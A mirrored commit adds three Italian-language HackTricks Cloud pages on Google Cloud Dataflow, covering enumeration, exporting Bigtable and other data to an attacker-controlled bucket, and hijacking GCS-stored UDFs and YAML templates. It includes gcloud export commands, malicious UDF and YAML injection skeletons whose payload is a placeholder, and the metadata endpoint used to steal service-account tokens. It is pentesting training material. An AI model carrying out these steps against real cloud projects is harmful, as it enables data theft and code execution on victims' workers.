mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['src/pentesting-cloud/gcp-security/gcp-services/gcp-dataflow
This commit is contained in:
@@ -0,0 +1,53 @@
|
||||
# GCP - Dataflow Post Exploitation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataflow
|
||||
|
||||
Per maggiori informazioni su Dataflow consulta:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-dataflow-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Using Dataflow to exfiltrate data from other services
|
||||
|
||||
**Autorizzazioni:** `dataflow.jobs.create`, `resourcemanager.projects.get`, `iam.serviceAccounts.actAs` (su un SA con accesso alla sorgente e al sink)
|
||||
|
||||
Con i diritti di creazione dei job Dataflow, puoi usare i template GCP Dataflow per esportare dati da Bigtable, BigQuery, Pub/Sub e altri servizi in bucket GCS controllati dall'attaccante. Questa è una potente tecnica di post-exploitation quando hai ottenuto accesso a Dataflow — per esempio tramite il [Dataflow Rider](../gcp-privilege-escalation/gcp-dataflow-privesc.md) privilege escalation (pipeline takeover via bucket write).
|
||||
|
||||
> [!NOTE]
|
||||
> Hai bisogno di `iam.serviceAccounts.actAs` su un service account con permessi sufficienti per leggere la sorgente e scrivere nello sink. Di default viene usato il Compute Engine default SA se non specificato.
|
||||
|
||||
#### Bigtable to GCS
|
||||
|
||||
Vedi [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md#dump-rows-to-your-bucket) — "Dump rows to your bucket" per il pattern completo. Templates: `Cloud_Bigtable_to_GCS_Json`, `Cloud_Bigtable_to_GCS_Parquet`, `Cloud_Bigtable_to_GCS_SequenceFile`.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Esporta Bigtable in un bucket controllato dall'attaccante</summary>
|
||||
```bash
|
||||
gcloud dataflow jobs run <job-name> \
|
||||
--gcs-location=gs://dataflow-templates-us-<REGION>/<VERSION>/Cloud_Bigtable_to_GCS_Json \
|
||||
--project=<PROJECT> \
|
||||
--region=<REGION> \
|
||||
--parameters=bigtableProjectId=<PROJECT>,bigtableInstanceId=<INSTANCE_ID>,bigtableTableId=<TABLE_ID>,filenamePrefix=<PREFIX>,outputDirectory=gs://<YOUR_BUCKET>/raw-json/ \
|
||||
--staging-location=gs://<YOUR_BUCKET>/staging/
|
||||
```
|
||||
</details>
|
||||
|
||||
#### BigQuery verso GCS
|
||||
|
||||
Esistono Dataflow templates per esportare i dati di BigQuery. Usa il template appropriato per il formato di destinazione (JSON, Avro, ecc.) e indirizza l'output al tuo bucket.
|
||||
|
||||
#### Pub/Sub e sorgenti streaming
|
||||
|
||||
Le pipeline in streaming possono leggere da Pub/Sub (o altre sorgenti) e scrivere su GCS. Avvia un job usando un template che legge dalla subscription Pub/Sub di destinazione e scrive nel tuo bucket controllato.
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [Dataflow templates](https://cloud.google.com/dataflow/docs/guides/templates/provided-templates)
|
||||
- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions)
|
||||
- [GCP - Bigtable Post Exploitation](gcp-bigtable-post-exploitation.md)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,173 @@
|
||||
# GCP - Dataflow Privilege Escalation
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Dataflow
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-dataflow-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `storage.objects.create`, `storage.objects.get`, `storage.objects.update`
|
||||
|
||||
Dataflow non valida l'integrità di UDFs e YAMLs dei job template memorizzati in GCS.
|
||||
Con accesso in scrittura al bucket, puoi sovrascrivere questi file per iniettare codice, eseguire codice sui worker, rubare token dell'account di servizio o alterare l'elaborazione dei dati.
|
||||
Sia i job batch che le pipeline streaming sono bersagli validi per questo attacco. Per eseguire questo attacco su una pipeline è necessario sostituire UDFs/template prima che il job venga eseguito, durante i primi minuti (prima che i worker del job siano creati) o durante l'esecuzione del job prima che vengano creati nuovi worker (a causa dell'autoscaling).
|
||||
|
||||
**Vettori d'attacco:**
|
||||
- **UDF hijacking:** Python (`.py`) e JS (`.js`) UDFs referenziate dalle pipeline e memorizzate in bucket gestiti dal cliente
|
||||
- **Job template hijacking:** Definizioni personalizzate di pipeline YAML memorizzate in bucket gestiti dal cliente
|
||||
|
||||
|
||||
> [!WARNING]
|
||||
> **Run-once-per-worker trick:** Le UDFs e i callable dei template di Dataflow vengono invocati **per riga/linea**. Senza coordinazione, l'exfiltrazione o il furto di token verrebbero eseguiti migliaia di volte, causando rumore, rate limiting e rilevamento. Usa un pattern di **coordinazione basata su file**: verifica se un file marker (es. `/tmp/pwnd.txt`) esiste all'inizio; se esiste, salta il codice malevolo; altrimenti, esegui il payload e crea il file. Questo garantisce che il payload venga eseguito **una sola volta per worker**, non per riga.
|
||||
|
||||
|
||||
#### Direct exploitation via gcloud CLI
|
||||
|
||||
1. Enumera i job di Dataflow e individua i percorsi GCS dei template/UDF:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Elenca i job e usa describe per ottenere il percorso del template, la staging location e i riferimenti agli UDF</summary>
|
||||
```bash
|
||||
# List jobs (optionally filter by region)
|
||||
gcloud dataflow jobs list --region=<region>
|
||||
gcloud dataflow jobs list --project=<PROJECT_ID>
|
||||
|
||||
# Describe a job to get template GCS path, staging location, and any UDF/template references
|
||||
gcloud dataflow jobs describe <JOB_ID> --region=<region> --full --format="yaml"
|
||||
# Look for: currentState, createTime, jobMetadata, type (JOB_TYPE_STREAMING or JOB_TYPE_BATCH)
|
||||
# Pipeline options often include: tempLocation, stagingLocation, templateLocation, or flexTemplateGcsPath
|
||||
```
|
||||
</details>
|
||||
|
||||
2. Scarica l'UDF originale o il template del job da GCS:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Scarica il file UDF o il template YAML dal bucket</summary>
|
||||
```bash
|
||||
# If job references a UDF at gs://bucket/path/to/udf.py
|
||||
gcloud storage cp gs://<BUCKET>/<PATH>/<udf_file>.py ./udf_original.py
|
||||
|
||||
# Or for a YAML job template
|
||||
gcloud storage cp gs://<BUCKET>/<PATH>/<template>.yaml ./template_original.yaml
|
||||
```
|
||||
</details>
|
||||
|
||||
3. Modifica il file localmente: inietta il malicious payload (vedi Python UDF o frammenti YAML qui sotto) e assicurati che venga usato il run-once coordination pattern.
|
||||
|
||||
4. Ricarica per sovrascrivere il file originale:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Sovrascrivi UDF o template nel bucket</summary>
|
||||
```bash
|
||||
gcloud storage cp ./udf_injected.py gs://<BUCKET>/<PATH>/<udf_file>.py
|
||||
|
||||
# Or for YAML
|
||||
gcloud storage cp ./template_injected.yaml gs://<BUCKET>/<PATH>/<template>.yaml
|
||||
```
|
||||
</details>
|
||||
|
||||
5. Attendere la successiva esecuzione del job, oppure (per lo streaming) provocare l'autoscaling (es. sovraccaricare l'input della pipeline) in modo che nuovi worker vengano avviati e prelevino il file modificato.
|
||||
|
||||
#### Python UDF injection
|
||||
|
||||
Se vuoi far sì che il worker esfiltri dati al tuo server C2 usa `urllib.request` e non `requests`.
|
||||
`requests` non è preinstallato nei classic Dataflow workers.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Malicious UDF with run-once coordination and metadata extraction</summary>
|
||||
```python
|
||||
import os
|
||||
import json
|
||||
import urllib.request
|
||||
from datetime import datetime
|
||||
|
||||
def _malicious_func():
|
||||
# File-based coordination: run once per worker.
|
||||
coordination_file = "/tmp/pwnd.txt"
|
||||
if os.path.exists(coordination_file):
|
||||
return
|
||||
|
||||
# malicous code goes here
|
||||
with open(coordination_file, "w", encoding="utf-8") as f:
|
||||
f.write("done")
|
||||
|
||||
def transform(line):
|
||||
# Malicous code entry point - runs per line but coordination ensures once per worker
|
||||
try:
|
||||
_malicious_func()
|
||||
except Exception:
|
||||
pass
|
||||
# ... original UDF logic follows ...
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
#### Iniezione nel template YAML del job
|
||||
|
||||
Inietta uno step `MapToFields` con una callable che usa un file di coordinamento. Per pipeline basate su YAML che supportano `requests`, usalo se il template dichiara `dependencies: [requests]`; altrimenti preferisci `urllib.request`.
|
||||
|
||||
Aggiungi lo step di pulizia (`drop: [malicious_step]`) in modo che la pipeline scriva comunque dati validi nella destinazione.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Step MapToFields dannoso e pulizia nel YAML della pipeline</summary>
|
||||
```yaml
|
||||
- name: MaliciousTransform
|
||||
type: MapToFields
|
||||
input: Transform
|
||||
config:
|
||||
language: python
|
||||
fields:
|
||||
malicious_step:
|
||||
callable: |
|
||||
def extract_and_return(row):
|
||||
import os
|
||||
import json
|
||||
from datetime import datetime
|
||||
coordination_file = "/tmp/pwnd.txt"
|
||||
if os.path.exists(coordination_file):
|
||||
return True
|
||||
try:
|
||||
import urllib.request
|
||||
# malicious code goes here
|
||||
with open(coordination_file, "w", encoding="utf-8") as f:
|
||||
f.write("done")
|
||||
except Exception:
|
||||
pass
|
||||
return True
|
||||
append: true
|
||||
- name: CleanupTransform
|
||||
type: MapToFields
|
||||
input: MaliciousTransform
|
||||
config:
|
||||
fields: {}
|
||||
append: true
|
||||
drop:
|
||||
- malicious_step
|
||||
```
|
||||
</details>
|
||||
|
||||
### Accesso ai Dataflow Workers di Compute Engine
|
||||
|
||||
**Permessi:** `compute.instances.osLogin` or `compute.instances.osAdminLogin` (con `iam.serviceAccounts.actAs` sul SA del worker), or `compute.instances.setMetadata` / `compute.projects.setCommonInstanceMetadata` (con `iam.serviceAccounts.actAs`) per l'iniezione legacy di chiavi SSH
|
||||
|
||||
I Dataflow workers vengono eseguiti come VM di Compute Engine. L'accesso ai worker tramite OS Login o SSH consente di leggere i token SA dall'endpoint metadata (`http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token`), manipolare i dati o eseguire codice arbitrario.
|
||||
|
||||
Per dettagli sullo sfruttamento, vedi:
|
||||
- [GCP - Compute Privesc](gcp-compute-privesc/README.md) — `compute.instances.osLogin`, `compute.instances.osAdminLogin`, `compute.instances.setMetadata`
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [Dataflow Rider: How Attackers can Abuse Shadow Resources in Google Cloud Dataflow](https://www.varonis.com/blog/dataflow-rider)
|
||||
- [Control access with IAM (Dataflow)](https://cloud.google.com/dataflow/docs/concepts/security-and-permissions)
|
||||
- [gcloud dataflow jobs describe](https://cloud.google.com/sdk/gcloud/reference/dataflow/jobs/describe)
|
||||
- [Apache Beam YAML: User-defined functions](https://beam.apache.org/documentation/sdks/yaml-udf/)
|
||||
- [Apache Beam YAML Transform Reference](https://beam.apache.org/releases/yamldoc/current/)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,81 @@
|
||||
# GCP - Dataflow Enum
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
**Google Cloud Dataflow** è un servizio completamente gestito per il **batch e lo streaming processing dei dati**. Permette alle organizzazioni di costruire pipeline che trasformano e analizzano dati su larga scala, integrandosi con Cloud Storage, BigQuery, Pub/Sub e Bigtable. Le pipeline Dataflow girano su worker VMs nel tuo progetto; template e User-Defined Functions (UDFs) sono spesso memorizzati in bucket GCS. [Per saperne di più](https://cloud.google.com/dataflow).
|
||||
|
||||
## Componenti
|
||||
|
||||
Una pipeline Dataflow tipicamente include:
|
||||
|
||||
**Template:** definizioni YAML o JSON (e codice Python/Java per i flex templates) memorizzate in GCS che definiscono la struttura e i passaggi della pipeline.
|
||||
|
||||
**Launcher (Flex Templates):** un'istanza Compute Engine a vita breve può essere utilizzata per i lanci dei Flex Templates per validare il template e preparare i container prima che il job venga eseguito.
|
||||
|
||||
**Workers:** Compute Engine VMs che eseguono i task di elaborazione dati, recuperando UDFs e istruzioni dal template.
|
||||
|
||||
**Staging/Temp buckets:** bucket GCS che memorizzano dati temporanei della pipeline, artifact del job, file UDF, metadati dei flex template (`.json`).
|
||||
|
||||
## Batch vs Streaming Jobs
|
||||
|
||||
Dataflow supporta due modalità di esecuzione:
|
||||
|
||||
**Batch jobs:** elaborano un dataset fissato e limitato (es. un file di log, un export di una tabella). Il job viene eseguito una volta fino al completamento e poi termina. I worker vengono creati per la durata del job e spenti al termine. I batch jobs sono tipicamente usati per ETL, analisi storiche o migrazioni di dati programmate.
|
||||
|
||||
**Streaming jobs:** elaborano dati non limitati e continuamente in arrivo (es. Pub/Sub messages, feed di sensori live). Il job gira fino a quando non viene fermato esplicitamente. I worker possono scalare su/giù; nuovi worker possono essere creati per autoscaling, e al loro avvio scaricheranno componenti della pipeline (templates, UDFs) da GCS.
|
||||
|
||||
## Enumerazione
|
||||
|
||||
I job Dataflow e le risorse correlate possono essere enumerati per raccogliere service accounts, percorsi dei template, staging buckets e posizioni degli UDF.
|
||||
|
||||
### Enumerazione dei job
|
||||
|
||||
Per enumerare i job Dataflow e recuperare i loro dettagli:
|
||||
```bash
|
||||
# List Dataflow jobs in the project
|
||||
gcloud dataflow jobs list
|
||||
# List Dataflow jobs (by region)
|
||||
gcloud dataflow jobs list --region=<region>
|
||||
|
||||
# Describe job (includes service account, template GCS path, staging location, parameters)
|
||||
gcloud dataflow jobs describe <job-id> --region=<region>
|
||||
```
|
||||
Le descrizioni dei job rivelano il percorso template GCS, la staging location e il worker service account—utili per identificare i bucket che memorizzano i componenti delle pipeline.
|
||||
|
||||
### Enumerazione di Template e Bucket
|
||||
|
||||
I bucket menzionati nelle descrizioni dei job possono contenere flex templates, UDFs, o definizioni di pipeline in YAML:
|
||||
```bash
|
||||
# List objects in a bucket (look for .json flex templates, .py UDFs, .yaml pipeline defs)
|
||||
gcloud storage ls gs://<bucket>/
|
||||
|
||||
# List objects recursively
|
||||
gcloud storage ls gs://<bucket>/**
|
||||
```
|
||||
## Privilege Escalation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-dataflow-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-dataflow-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## Persistence
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-dataflow-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## Riferimenti
|
||||
|
||||
- [Dataflow overview](https://cloud.google.com/dataflow)
|
||||
- [Pipeline workflow execution in Dataflow](https://cloud.google.com/dataflow/docs/guides/pipeline-workflows)
|
||||
- [Troubleshoot templates](https://cloud.google.com/dataflow/docs/guides/troubleshoot-templates)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
Reference in New Issue
Block a user